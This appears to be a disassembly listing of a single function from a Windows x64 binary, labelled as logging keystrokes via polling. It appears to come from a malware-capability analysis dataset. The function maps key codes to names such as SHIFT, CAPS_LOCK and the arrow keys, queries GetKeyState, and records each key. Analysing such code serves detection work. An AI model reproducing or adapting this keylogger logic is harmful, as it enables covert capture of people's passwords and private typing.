Function at 0x140007b10
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
cmp ecx, 0xe2
jg case.0x140007b53.65
je 0x140007f3c
add ecx, 0x42
cmp ecx, 0x6a
ja case.0x140007b53.65
movsxd rax, ecx
lea rdx, [0x140000000]
movzx eax, byte [rdx + rax + 0x7fb8]
mov ecx, dword [rdx + rax*4 + 0x7f7c]
add rcx, rdx
jmp rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140011cfc]
call fcn.140001560
xor eax, eax
lea rdx, [0x140011cfc]
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 1]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140011bb0]
call fcn.140001560
xor eax, eax
lea rdx, [0x140011bb0]
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 1]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140011d00]
call fcn.140001560
xor eax, eax
lea rdx, [0x140011d00]
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 1]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
cmp byte [0x140017c80], 0
jne 0x140007d35
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.SHIFT_n
call fcn.140001560
mov al, 1
mov byte [0x140017c80], 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140011d14]
call fcn.140001560
xor eax, eax
lea rdx, str.BACK
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 6]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.R_CLICK
call fcn.140001560
xor eax, eax
lea rdx, str.R_CLICK
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 9]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, 1
je 0x140007d22
lea rdx, str.CAPS_LOCK
mov byte [0x140017c80], 1
call fcn.140001560
mov al, 1
add rsp, 0x40
pop rbp
ret
lea rdx, str.CAPS_LOCKoff
mov byte [0x140017c80], 0
call fcn.140001560
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.TAB
call fcn.140001560
xor eax, eax
lea rdx, str.TAB
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 4]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140011d58]
call fcn.140001560
xor eax, eax
lea rdx, str.UP_ARROW_KEY
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 0xd]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.DOWN
call fcn.140001560
xor eax, eax
lea rdx, str.DOWN_ARROW_KEY
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 0xf]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.LEFT
call fcn.140001560
xor eax, eax
lea rdx, str.LEFT_ARROW_KEY
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 0xf]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.RIGHT
call fcn.140001560
xor eax, eax
lea rdx, str.RIGHT_ARROW_KEY
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 0x10]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.CONTROL
call fcn.140001560
xor eax, eax
lea rdx, str.CONTROL
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 8]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.ALT
call fcn.140001560
xor eax, eax
lea rdx, str.ALT
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 4]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
xor eax, eax
lea rdx, [0x140011cf8]
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 8], rax
movups xmmword [rbp - 0x20], xmm0
lea r8d, [rax + 1]
call fcn.140001730
lea rcx, [rbp - 0x20]
call fcn.140007750
mov al, 1
add rsp, 0x40
pop rbp
ret
xor al, al
add rsp, 0x40
pop rbp
ret